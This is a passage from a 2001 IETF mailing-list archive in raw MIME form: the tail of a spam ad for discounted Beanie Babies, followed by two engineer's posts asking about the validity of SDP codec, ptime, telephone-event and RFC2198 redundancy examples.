NOW <i>!!</i></b></font></a><br>
      </td>
      <td width=3D"15%" height=3D"0" valign=3D"top">=20
        <div align=3D"center"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept_id=3D16403&pf_i=
d=3DOS01VALENTINO"><img =
src=3D"http://www.gogocity.com//Assets/product_images/OS01/VALENTINO-80.J=
PG" width=3D"70" border=3D"0" alt=3D"VALENTINO TY BEANIE BUDDY"><br>
          <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"> large =
image</font></a>=20
        </div>
      </td>
      <td bgcolor=3D"#FFFF99" width=3D"32%" height=3D"0"><font =
size=3D"2" face=3D"Arial, Helvetica, sans-serif">Retail=20
        Price: $29.95<br>
        <font color=3D"#FF0000"> Out Price: <b>$14.95 </b>(save =
50%)</font></font><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01VALENTINO">More=20
        Details...</a></font> <a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01VALENTINO"><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><b>Buy it =
NOW <i>!!</i></b></font></a><br>
      </td>
    </tr>
    <tr valign=3D"top" bgcolor=3D"#660099">=20
      <td colspan=3D"2" bgcolor=3D"#660099" height=3D"12"><font =
size=3D"2" color=3D"#FFFFFF"><b><font face=3D"Arial, Helvetica, =
sans-serif">3.=20
        BRITANNIA THE BRITISH BEAR</font></b></font></td>
      <td colspan=3D"2" height=3D"12"><font size=3D"2" =
color=3D"#FFFFFF"><b><font face=3D"Arial, Helvetica, sans-serif">4.=20
        NIPPONIA THE JAPAN BEAR TY BEANIE BEANIE</font></b></font></td>
    </tr>
    <tr valign=3D"top">=20
      <td width=3D"15%" height=3D"0" valign=3D"top">=20
        <div align=3D"center"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01BRITANNIA%2DBABY"><img =
src=3D"http://www.gogocity.com//Assets/product_images/OS01/BRITANNIA-BABY=
-80.JPG" width=3D"70" border=3D"0" alt=3D"BRITANNIA THE BRITISH =
BEAR"><br>
          <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"> large =
image</font></a>=20
        </div>
      </td>
      <td bgcolor=3D"#FFFF99" width=3D"32%" height=3D"0"><font =
size=3D"2" face=3D"Arial, Helvetica, sans-serif">Retail=20
        Price: $125.99<br>
        <font color=3D"#FF0000"> Out Price: <b>$79.95 </b>(save =
37%)</font></font><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01BRITANNIA%2DBABY">More=20
        Details...</a></font> <a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01BRITANNIA%2DBABY"><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><b>Buy it =
NOW <i>!!</i></b></font></a><br>
      </td>
      <td width=3D"15%" height=3D"0" valign=3D"top">=20
        <div align=3D"center"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept_id=3D16403&pf_i=
d=3DOS01NIPPONIA"><img =
src=3D"http://www.gogocity.com//Assets/product_images/OS01/NIPPONIA-80.JP=
G" width=3D"70" border=3D"0" alt=3D"NIPPONIA THE JAPAN BEAR TY BEANIE =
BEANIE"><br>
          <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"> large =
image</font></a>=20
        </div>
      </td>
      <td bgcolor=3D"#FFFF99" width=3D"32%" height=3D"0"><font =
size=3D"2" face=3D"Arial, Helvetica, sans-serif">Retail=20
        Price: $111.95<br>
        <font color=3D"#FF0000"> Out Price: <b>$55.95 </b>(save =
50%)</font></font><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01NIPPONIA">More=20
        Details...</a></font> <a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01NIPPONIA"><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><b>Buy it =
NOW <i>!!</i></b></font></a><br>
      </td>
    </tr>
    <tr valign=3D"top" bgcolor=3D"#660099">=20
      <td colspan=3D"2" bgcolor=3D"#660099" height=3D"15"><font =
size=3D"2" color=3D"#FFFFFF"><b><font face=3D"Arial, Helvetica, =
sans-serif">5</font><font face=3D"Arial, Helvetica, sans-serif">.=20
        CHINOOK THE CANADA BEAR</font></b></font></td>
      <td colspan=3D"2" height=3D"15"><font size=3D"2" =
color=3D"#FFFFFF"><b><font face=3D"Arial, Helvetica, sans-serif">6.=20
        RADAR TY BEANIE BEANIE</font></b></font></td>
    </tr>
    <tr valign=3D"top">=20
      <td width=3D"15%" height=3D"0">=20
        <div align=3D"center"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01CHINNOOK"><img =
src=3D"http://www.gogocity.com//Assets/product_images/OS01/CHINOOK-80.JPG=
" width=3D"70" border=3D"0" alt=3D"CHINOOK THE CANADA BEAR"><br>
          <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"> large =
image</font></a>=20
        </div>
      </td>
      <td bgcolor=3D"#FFFF99" width=3D"32%" height=3D"0"><font =
size=3D"2" face=3D"Arial, Helvetica, sans-serif">Retail=20
        Price: $69.65<br>
        <font color=3D"#FF0000"> Out Price: <b>$49.95 </b>(save =
28%)</font></font><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01CHINNOOK">More=20
        Details...</a></font> <a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01CHINNOOK"><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><b>Buy it =
NOW <i>!!</i></b></font></a><br>
      </td>
      <td width=3D"15%" height=3D"0">=20
        <div align=3D"center"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept_id=3D16403&pf_i=
d=3DOS01RADAR"><img =
src=3D"http://www.gogocity.com//Assets/product_images/OS01/RADAR-80.JPG" =
width=3D"70" border=3D"0" alt=3D"RADAR TY BEANIE BEANIE"><br>
          <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"> large =
image</font></a>=20
        </div>
      </td>
      <td bgcolor=3D"#FFFF99" width=3D"32%" height=3D"0"><font =
size=3D"2" face=3D"Arial, Helvetica, sans-serif">Retail=20
        Price: $179.95<br>
        <font color=3D"#FF0000"> Out Price: <b>$89.95 </b>(save =
50%)</font></font><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01STING">More=20
        Details...</a></font> <a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01RADAR"><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><b>Buy it =
NOW <i>!!</i></b></font></a><br>
      </td>
    </tr>
    <tr valign=3D"top" bgcolor=3D"#660099">=20
      <td colspan=3D"2" bgcolor=3D"#660099" height=3D"16"><font =
size=3D"2" color=3D"#FFFFFF"><b><font face=3D"Arial, Helvetica, =
sans-serif">7</font><font face=3D"Arial, Helvetica, sans-serif">.=20
        CORAL TY BEANIE BABY</font></b></font></td>
      <td colspan=3D"2" height=3D"16"><font size=3D"2" =
color=3D"#FFFFFF"><b><font face=3D"Arial, Helvetica, sans-serif">8.=20
        STING THE STINGRAY TY BEANIE BABY</font></b></font></td>
    </tr>
    <tr valign=3D"top">=20
      <td width=3D"15%" height=3D"0">=20
        <div align=3D"center"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01CORAL"><img =
src=3D"http://www.gogocity.com//Assets/product_images/OS01/CORAL-80.JPG" =
width=3D"70" border=3D"0" alt=3D"CORAL TY BEANIE BABY"><br>
          <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"> large =
image</font></a>=20
        </div>
      </td>
      <td bgcolor=3D"#FFFF99" width=3D"32%" height=3D"0"><font =
size=3D"2" face=3D"Arial, Helvetica, sans-serif">Retail=20
        Price: $179.95<br>
        <font color=3D"#FF0000"> Out Price: <b>$99.95 </b>(save =
44%)</font></font><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01CORAL">More=20
        Details...</a></font> <a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01CORAL"><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><b>Buy it =
NOW <i>!!</i></b></font></a><br>
      </td>
      <td width=3D"15%" height=3D"0">=20
        <div align=3D"center"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01STING"><img =
src=3D"http://www.gogocity.com//Assets/product_images/OS01/STING-80.JPG" =
width=3D"70" border=3D"0" alt=3D"STING THE STINGRAY TY BEANIE BABY"><br>
          <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"> large =
image</font></a>=20
        </div>
      </td>
      <td bgcolor=3D"#FFFF99" width=3D"32%" height=3D"0"><font =
size=3D"2" face=3D"Arial, Helvetica, sans-serif">Retail=20
        Price: $179.95<br>
        <font color=3D"#FF0000"> Out Price: <b>$129.95 </b>(save =
28%)</font></font><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D7011&pf%=
5Fid=3DOS01LUBPRC">More=20
        Details...</a></font> <a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01STING"><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><b>Buy it =
NOW <i>!!</i></b></font></a><br>
      </td>
    </tr>
    <tr valign=3D"top" bgcolor=3D"#660099">=20
      <td colspan=3D"2" bgcolor=3D"#660099" height=3D"10"><font =
size=3D"2" color=3D"#FFFFFF"><b><font face=3D"Arial, Helvetica, =
sans-serif">9</font><font face=3D"Arial, Helvetica, sans-serif">.=20
        GARCIA THE BEAR TY BEANIE BEANIE</font></b></font></td>
      <td colspan=3D"2" height=3D"10"><font size=3D"2" =
color=3D"#FFFFFF"><b><font face=3D"Arial, Helvetica, sans-serif">10.=20
        TABASCO THE BULL TY BEANIE BEANIE</font></b></font></td>
    </tr>
    <tr valign=3D"top">=20
      <td width=3D"15%" height=3D"0">=20
        <div align=3D"center"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01GARCIA"><img =
src=3D"http://www.gogocity.com//Assets/product_images/OS01/GARCIA-80.JPG"=
 width=3D"70" border=3D"0" alt=3D"GARCIA THE BEAR TY BEANIE BEANIE"><br>
          <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"> large =
image</font></a>=20
        </div>
      </td>
      <td bgcolor=3D"#FFFF99" width=3D"32%" height=3D"0"><font =
size=3D"2" face=3D"Arial, Helvetica, sans-serif">Retail=20
        Price: $299.99<br>
        <font color=3D"#FF0000"> Out Price: <b>$199.95 </b>(save =
33%)</font></font><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01GARCIA">More=20
        Details...</a></font> <a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01GARCIA"><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><b>Buy it =
NOW <i>!!</i></b></font></a><br>
      </td>
      <td width=3D"15%" height=3D"0">=20
        <div align=3D"center"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01TABASCO"><img =
src=3D"http://www.gogocity.com//Assets/product_images/OS01/TABASCO-80.JPG=
" width=3D"70" border=3D"0" alt=3D"TABASCO THE BULL TY BEANIE =
BEANIE"><br>
          <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"> large =
image</font></a>=20
        </div>
      </td>
      <td bgcolor=3D"#FFFF99" width=3D"32%" height=3D"0"><font =
size=3D"2" face=3D"Arial, Helvetica, sans-serif">Retail=20
        Price: $179.95<br>
        <font color=3D"#FF0000"> Out Price: <b>$89.95 </b>(save =
50%)</font></font><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01TABASCO">More=20
        Details...</a></font> <a =
href=3D"http://www.gogocity.com//product_details.asp?dept%5Fid=3D16403&pf=
%5Fid=3DOS01TABASCO"><br>
        <font face=3D"Arial, Helvetica, sans-serif" size=3D"2"><b>Buy it =
NOW <i>!!</i></b></font></a><br>
      </td>
    </tr>
  </table>
  <br>
  <font face=3D"Arial, Helvetica, sans-serif" size=3D"4"><a =
href=3D"http://www.gogocity.com//searchresults.asp?department=3D16403&par=
ent%5Fid=3D16">More=20
  Hot Item.....Click Here</a></font></div>
</body>

------=_NextPart_000_2BE34C_01C1339E.62B47ED0--

From confctrl-owner  Mon Sep  3 00:53:06 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id AAA13285
	for confctrl-outgoing; Mon, 3 Sep 2001 00:53:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA13279
	for <confctrl@zephyr.isi.edu>; Mon, 3 Sep 2001 00:53:04 -0700 (PDT)
Received: from redlinecommunications.ro (IDENT:root@[213.154.138.190])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f837r3v11854
	for <confctrl@isi.edu>; Mon, 3 Sep 2001 00:53:08 -0700 (PDT)
Received: from dan (dan.softtel.ro [192.168.0.27])
	by redlinecommunications.ro (8.9.3/8.9.3) with SMTP id KAA19271
	for <confctrl@isi.edu>; Mon, 3 Sep 2001 10:59:00 +0300
Message-ID: <005f01c13384$10f6e480$1b00a8c0@softtel.ro>
From: "Dan Firac" <danutf@redlinecommunications.ro>
To: <confctrl@ISI.EDU>
Subject: codec with different ptimes
Date: Sun, 2 Sep 2001 10:51:25 +0300
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_005C_01C1339D.3611C1E0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2462.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_005C_01C1339D.3611C1E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello,

I want to know if the following SDP message is valid:

m=3Daudio 6002 RTP/AVP 0 4
a=3Drtpmap:0 PCMU/8000
a=3Dptime:30
a=3Drtpmap:4 G723/8000
a=3Dptime:90

It suppose to announce two codecs with different ptimes.=20

If it is correct, then an attribute lines 'a=3Dptime...' are connected =
to the 'a=3Drtpmap..' lines, and they are not just media level =
attributes but they are attributes of the attributes.....

Thank you,
Dan Firac
Software Enginner,
Redline Communications,


------=_NextPart_000_005C_01C1339D.3611C1E0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2462.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hello,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I want to know if the following SDP =
message is=20
valid:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>m=3Daudio 6002 RTP/AVP 0 4<BR>a=3Drtpmap:0=20
PCMU/8000<BR>a=3Dptime:30<BR>a=3Drtpmap:4 =
G723/8000<BR>a=3Dptime:90<BR></DIV>
<DIV><FONT face=3DArial size=3D2>It suppose to announce two codecs with =
different=20
ptimes. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>If it is correct, then an attribute =
lines=20
'a=3Dptime...'&nbsp;are connected to the 'a=3Drtpmap..' lines, and they =
are not just=20
media level attributes but they are attributes of the=20
attributes.....</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thank you,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Dan Firac</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Software Enginner,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Redline Communications,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_005C_01C1339D.3611C1E0--


From confctrl-owner  Mon Sep  3 07:32:13 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA04920
	for confctrl-outgoing; Mon, 3 Sep 2001 07:32:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA04913
	for <confctrl@zephyr.isi.edu>; Mon, 3 Sep 2001 07:32:12 -0700 (PDT)
Received: from redlinecommunications.ro (IDENT:root@[213.154.138.190])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f83EWEv05167
	for <confctrl@isi.edu>; Mon, 3 Sep 2001 07:32:15 -0700 (PDT)
Received: from dan (dan.softtel.ro [192.168.0.27])
	by redlinecommunications.ro (8.9.3/8.9.3) with SMTP id RAA20120;
	Mon, 3 Sep 2001 17:38:12 +0300
Message-ID: <008e01c133bb$d4dae220$1b00a8c0@softtel.ro>
From: "Dan Firac" <danutf@redlinecommunications.ro>
To: "MMUSIC SDP" <confctrl@ISI.EDU>
Cc: <sip-implementors@cs.columbia.edu>
Subject: Another question and a proposal
Date: Sun, 2 Sep 2001 17:30:36 +0300
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_008B_01C133D4.FA0FB020"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2462.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_008B_01C133D4.FA0FB020
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello,

1)The SIP rfc shows in the B.5 example a SDP message announcing two =
channels,
one for audio and one for telephone-events. The DTMF channel is =
announced without the redundancy mechanism.
I will try to compose an SDP message for the same case but with the =
redundancy mechanism, and I want you to tell me if it is correct?:

m=3Daudio 6000 RTP/AVP 0                             ;audio channel
m=3Daudio 6002 RTP/AVP 97 96                       ;digit channel
a=3Drtpmap:97 telephone-events                        ;dynamic pt for =
digits
a=3Dfmtp:97 0-15                                              ;supported =
events
a=3Drtpmap:96 red                                            ;dynamic pt =
for redundancy mechanism
a=3Dfmtp:96 97                                                 =
;redundancy of the 97 codec ???

2)Proposal:
The RFC2833 says that the redundancy mechanism (RFC2198) is optional.
So, if a SIP device supports both RFC2833 and RFC2198 than it SHOULD =
insert both dynamic payload types
for the telephone-events and for redundancy mechanism in the format list =
for the digit channel (as above), not just
the redundancy mechanism. There are many devices implementing the =
telephone-events without the redundancy mechanism so the announcement of =
redundancy mechanism SHOULD be done together with the announcement of =
telephone-events for motives of compatibility.
Anyway, I can't see how one can announce in the format list ONLY the =
redundacy mechanism dynamic payload type, because it must define also =
the dynamic payload type for the telephone-events.

I think my proposal brings some clarifications (especially for the =
beginners) because I didn't find any complete example of=20
the RFC2833 and RC2198 used together!!!!!

3)I also think that the RFC2833 should contain more examples of carrying =
digits through the redundancy mechanism;
or, at least, more detailed explanations about that '911' example.

4) One final question for the sustainors of the RFC2833 and redundancy =
mechanism.=20
It is obvoius that in order to beneficate of the redundancy mechanism =
the user must type the digits very fast, so that the application catch =
many digits in a 2.048 sec interval. If the user types the digits with a =
time distance between them greater than 2.048 sec, the redundancy =
mechanism is USELESS, or am I wrong?=20
The last situation is very real: e.g. when I want to 'talk'  to my home =
robot to see if there are new messages for me.
A  rapid solution would be the retransmission of the redundant messages, =
but you have to admit that it is UGLY.

Finaly, I must salute the ones who have chosen the '911' example in =
RFC2833 for their obiectivity. Of course, the user is calling '911', he =
is in a great hurry, so he will type very fast the number and he will be =
under the bound of 2.048 seconds and so the redundancy mechanism will =
work at his maximum parameters, isn't it?.  :-))))))))))))))

So, '911' is the optimal combination. What would we do with the others?
If there were 7 or more bits for the timestamp of the redundant events, =
I wouldn't be so sarcastic.

You, SDP wizards, should find an optimal solution for carrying ALL the =
numbers, otherwise the users will receive along with the SIP product a =
little warnning : "Dial fast! or else....".


Best regards,
Dan Firac
Software Engineer,
Redline Communications.


------=_NextPart_000_008B_01C133D4.FA0FB020
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2462.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hello,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>1)The SIP rfc shows in the B.5 example =
a SDP=20
message announcing two channels,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>one for audio and one for =
telephone-events. The=20
DTMF channel is announced without the redundancy mechanism.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I will try to compose an SDP message =
for the same=20
case but with the redundancy mechanism, and I want you to tell me if it =
is=20
correct?:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>m=3Daudio 6000 RTP/AVP=20
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;=20
;audio channel</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>m=3Daudio 6002 RTP/AVP 97=20
96&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;;digit=
=20
channel</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>a=3Drtpmap:97=20
telephone-events&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;=20
;dynamic pt for digits</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>a=3Dfmtp:97 0-15&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;supported events</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>a=3Drtpmap:96=20
red&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
;dynamic pt for redundancy mechanism</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>a=3Dfmtp:96 97&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;=20
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; ;redundancy of the 97 codec=20
???</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>2)Proposal:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>The RFC2833 says that the redundancy =
mechanism=20
(RFC2198) is optional.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>So, if a SIP device supports both =
RFC2833 and=20
RFC2198 than it SHOULD insert both dynamic payload types</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>for the telephone-events and for =
redundancy=20
mechanism in the format list for the digit channel (as above), not=20
just</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>the redundancy mechanism.&nbsp;There =
are many=20
devices implementing the telephone-events without the redundancy =
mechanism so=20
the announcement&nbsp;of redundancy mechanism SHOULD be done together =
with the=20
announcement of telephone-events&nbsp;for motives=20
of&nbsp;compatibility.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Anyway, I can't see how one can =
announce in the=20
format list&nbsp;ONLY the redundacy mechanism dynamic payload type, =
because it=20
must define also the dynamic payload type for the =
telephone-events.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I think my proposal brings some =
clarifications=20
(especially for the beginners) because I didn't find any complete =
example of=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>the RFC2833 and RC2198 used=20
together!!!!!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>3)I also think that the RFC2833 should =
contain more=20
examples of&nbsp;carrying digits through the redundancy =
mechanism;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>or, at least, more detailed =
explanations about that=20
'911' example.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>4) One final question for the =
sustainors of the=20
RFC2833 and redundancy mechanism. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>It is obvoius that in order to =
beneficate of the=20
redundancy mechanism the user must type the digits very fast, so that =
the=20
application catch many digits&nbsp;in a&nbsp;2.048 sec interval. If the =
user=20
types the digits with a time distance between them greater than 2.048 =
sec, the=20
redundancy mechanism is USELESS, or&nbsp;am I&nbsp;wrong? </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>The last&nbsp;situation is very real: =
e.g. when I=20
want to 'talk'&nbsp; to my home robot to see if there are new messages =
for=20
me.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>A&nbsp; rapid solution would be the =
retransmission=20
of the redundant messages, but you have to admit that it is =
UGLY.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Finaly, I must salute the ones who have =
chosen the=20
'911' example in RFC2833 for their obiectivity. Of course, the user is =
calling=20
'911', he is in a great hurry, so he will type very fast the number and =
he will=20
be under the bound of 2.048 seconds and so&nbsp;the redundancy mechanism =
will=20
work at his maximum parameters, isn't it?.&nbsp; =
:-))))))))))))))</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>So, '911' is&nbsp;the optimal =
combination. What=20
would we do with the others?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>If there were 7 or&nbsp;more bits for =
the timestamp=20
of the redundant events, I wouldn't be so sarcastic.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>You, SDP wizards, should find =
an&nbsp;optimal=20
solution for carrying&nbsp;ALL the numbers, otherwise the users will =
receive=20
along with the SIP product a little warnning : "Dial fast! or=20
else....".</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Best regards,</FONT></DIV>
